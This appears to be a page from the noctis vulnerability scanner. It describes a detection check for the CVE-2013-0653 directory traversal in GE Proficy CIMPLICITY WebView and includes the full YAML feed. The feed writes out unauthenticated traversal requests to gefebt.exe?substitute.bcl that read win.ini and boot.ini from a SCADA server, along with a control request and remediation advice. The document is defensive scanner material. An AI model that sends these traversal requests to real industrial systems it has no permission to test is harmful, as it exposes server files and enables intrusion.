Ge Cimplicity — 1 vulnerability check

noctis ships 1 vulnerability check for Ge Cimplicity, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

GE Proficy CIMPLICITY WebView substitute.bcl Directory Traversal

CVECVE-2013-0653, CVE-2013-0654
Severitymedium · CVSS 4.3
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/ge-cimplicity/CVE-2013-0653.yaml

Tests the CIMPLICITY WebView (CimWeb) component of GE Proficy HMI/SCADA for the directory traversal in its substitute.bcl script. The feed asks /CimWeb/gefebt.exe (and /gefebt.exe at the web root) to run substitute.bcl with a FILE argument made of eighteen "../" sequences followed by windows/win.ini, winnt/win.ini or boot.ini, without any login. The content of one of these Windows system files in a 200 reply confirms that the script reads files outside the WebView directory. A control request for an absent random file must not return any of these files, so a server that serves the same content on every request is not reported. Only the standard Windows configuration files are read.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET {{dir}}/gefebt.exe?substitute.bcl+FILE=../../../../../../../../../../../../../../../.…
  2. Checks winini_r.banner for (?s)^HTTP/1\.[01] 200\b.*(; for 16-bit app support|\[fonts\])
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET {{dir}}/gefebt.exe?substitute.bcl+FILE=../../../../../../../../../../../../../../../.…
  4. Checks winnt_r.banner for (?s)^HTTP/1\.[01] 200\b.*(; for 16-bit app support|\[fonts\])
  5. Raw TCP (TLS on HTTPS), sent verbatim: GET {{dir}}/gefebt.exe?substitute.bcl+FILE=../../../../../../../../../../../../../../../.…
  6. Checks bootini_r.banner for (?s)^HTTP/1\.[01] 200\b.*\[boot loader\]
  7. Raw TCP (TLS on HTTPS), sent verbatim: GET {{dir}}/gefebt.exe?substitute.bcl+FILE=../../../../../../../../../../../../../../../.…
  8. Checks ctrl_r.banner for (; for 16-bit app support|\[fonts\]|\[boot loader\])
  9. Checks win_file for ^(windows/win\.ini|winnt/win\.ini|boot\.ini)$ → finding QoD 75: GE Proficy CIMPLICITY WebView substitute.bcl Directory Traversal (CVE-2013-0653)

References:

Feed source — tests/vulnerabilities/ge-cimplicity/CVE-2013-0653.yaml
# GE Proficy HMI/SCADA CIMPLICITY WebView substitute.bcl directory traversal — CVE-2013-0653
#
# The CimWeb (WebView) component of GE Intelligent Platforms Proficy
# HMI/SCADA - CIMPLICITY 4.01 through 8.0 runs BCL scripts through
# /CimWeb/gefebt.exe. Its substitute.bcl script takes a FILE argument and
# returns that file without checking it stays inside the WebView directory,
# so "../" sequences read any file on the server (GE advisory GEIP12-13,
# ICS-CERT ICSA-13-022-02). The same advisory set covers CVE-2013-0654
# (improper input validation in CimWebServer, crash / code execution); that
# bug is not probed here, so findings name CVE-2013-0653 only and the CVSS is
# CVE-2013-0653's NVD score (v2 4.3), while the feed keeps both IDs for
# tracking.
#
# Detection (benign, read-only): GET
#   <dir>/gefebt.exe?substitute.bcl+FILE=../ x18 <file>
# for windows/win.ini, winnt/win.ini then boot.ini, and match the file
# CONTENT ("; for 16-bit app support", "[fonts]", "[boot loader]") under an
# HTTP 200 status line. QoD 75 (response analysis).
# The request goes out through tcp_connect: the embedded CimWebServer is
# known not to answer with fully valid HTTP responses (the Metasploit
# gefebt.exe module reads the raw reply for that reason), which a strict
# HTTP client may reject.
#
# Improvements over the source NASL:
#   - The NASL only runs when the Server header says "CIMPLICITY" and
#     /CimWeb/index.html links gefebt.exe. The feed sends the probe
#     directly, so a WebView whose headers or landing page differ (renamed
#     Server header, reverse proxy, customised index page) is still tested.
#   - A control request (same script, absent random file) must come back
#     WITHOUT any file signature; a server that returns the same file on
#     every request is therefore not reported (fail-closed: no control reply
#     → no finding). The absent name contains win.ini and boot.ini, so a
#     honeypot keying a fake file on those substrings is caught too.
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_ge_intelligent_mult_vulns_09_13.nasl
# (GPL-2.0-only).
uid: 1b62a931-aa48-4f54-aa7c-7d7f729bd510
name: "GE Proficy CIMPLICITY WebView substitute.bcl Directory Traversal (CVE-2013-0653)"
description: |
  Tests the CIMPLICITY WebView (CimWeb) component of GE Proficy HMI/SCADA
  for the directory traversal in its substitute.bcl script. The feed asks
  /CimWeb/gefebt.exe (and /gefebt.exe at the web root) to run substitute.bcl
  with a FILE argument made of eighteen "../" sequences followed by
  windows/win.ini, winnt/win.ini or boot.ini, without any login. The content
  of one of these Windows system files in a 200 reply confirms that the
  script reads files outside the WebView directory. A control request for an
  absent random file must not return any of these files, so a server that
  serves the same content on every request is not reported. Only the
  standard Windows configuration files are read.
cves: [CVE-2013-0653, CVE-2013-0654]
cvss: 4.3
severity: medium
category: file-read
confidence_base: 0.30
tags: [ge, cimplicity, proficy, scada, ics, hmi, webview, path-traversal, file-read, windows]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-0653"
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-0654"
  - "https://www.cisa.gov/news-events/ics-advisories/icsa-13-022-02"
  # OpenVAS/Greenbone NASL 2013/gb_ge_intelligent_mult_vulns_09_13.nasl (GPL-2.0-only)

steps:
  # ── Loop group: every following step runs once per install dir. Each pass
  # resets the values it reads, so nothing is left over from the previous dir.
  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {connected: false, banner: ""}
    loop:
      var: dir
      over: ["/CimWeb", ""]

  - id: init-winnt-r
    action: set_var
    var_name: winnt_r
    var_value: {connected: false, banner: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {connected: false, banner: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {connected: false, banner: ""}

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── c:\windows\win.ini ───────────────────────────────────────────────────
  - id: read-winini
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{dir}}/gefebt.exe?substitute.bcl+FILE=../../../../../../../../../../../../../../../../../../windows/win.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.banner
    pattern: "(?s)^HTTP/1\\.[01] 200\\b.*(; for 16-bit app support|\\[fonts\\])"
    case_insensitive: true
    condition: "winini_r.connected == true"
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  # ── c:\winnt\win.ini (Windows 2000 / NT) ─────────────────────────────────
  - id: read-winnt
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{dir}}/gefebt.exe?substitute.bcl+FILE=../../../../../../../../../../../../../../../../../../winnt/win.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    condition: 'win_file == "" && winini_r.connected == true'
    store_as: winnt_r

  - id: winnt-content
    action: match
    source: winnt_r.banner
    pattern: "(?s)^HTTP/1\\.[01] 200\\b.*(; for 16-bit app support|\\[fonts\\])"
    case_insensitive: true
    condition: 'win_file == "" && winnt_r.connected == true'
    on_match:
      set_vars:
        win_file: "winnt/win.ini"

  # ── c:\boot.ini (Windows XP / Server 2003) ───────────────────────────────
  - id: read-bootini
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{dir}}/gefebt.exe?substitute.bcl+FILE=../../../../../../../../../../../../../../../../../../boot.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    condition: 'win_file == "" && winini_r.connected == true'
    store_as: bootini_r

  - id: bootini-content
    action: match
    source: bootini_r.banner
    pattern: "(?s)^HTTP/1\\.[01] 200\\b.*\\[boot loader\\]"
    case_insensitive: true
    condition: 'win_file == "" && bootini_r.connected == true'
    on_match:
      set_vars:
        win_file: "boot.ini"

  # ── Control: same script, absent random file — must NOT carry a file ─────
  # The absent name still contains win.ini and boot.ini, so a honeypot that
  # keys a fake file on those substrings answers it too.
  - id: control
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{dir}}/gefebt.exe?substitute.bcl+FILE=../../../../../../../../../../../../../../../../../../windows/win.ini.boot.ini.noctis-absent-{{oob_token}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    condition: 'win_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.banner
    pattern: "(; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
    case_insensitive: true
    condition: 'win_file != "" && ctrl_r.connected == true'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Finding (control answered and stayed clean) ──────────────────────────
  - id: report
    action: match
    source: win_file
    pattern: "^(windows/win\\.ini|winnt/win\\.ini|boot\\.ini)$"
    condition: 'ctrl_r.connected == true && type_of(ctrl_r.banner) == "string" && ctrl_r.banner != "" && ctrl_hit == false'
    on_match:
      finding:
        cves: [CVE-2013-0653]
        title: "GE Proficy CIMPLICITY WebView substitute.bcl Directory Traversal (CVE-2013-0653)"
        description: "An unauthenticated request to the CIMPLICITY WebView gefebt.exe running substitute.bcl with a FILE argument of \"../\" sequences returned the content of a Windows system file outside the WebView directory, while the same request for an absent file did not. Any file readable by the CimWeb service can be read this way."
        remediation: "Apply the GE Intelligent Platforms fixes for CIMPLICITY WebView (advisories GEIP12-13 and GEIP12-19) or upgrade to a CIMPLICITY release later than 8.0 that includes them, and do not expose the CimWeb server to untrusted networks."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{dir}}/gefebt.exe?substitute.bcl+FILE=../ (x18) {{win_file}} returned the content of c:/{{win_file}}; control for an absent file returned no file content"
      stop: true

View these feeds on GitHub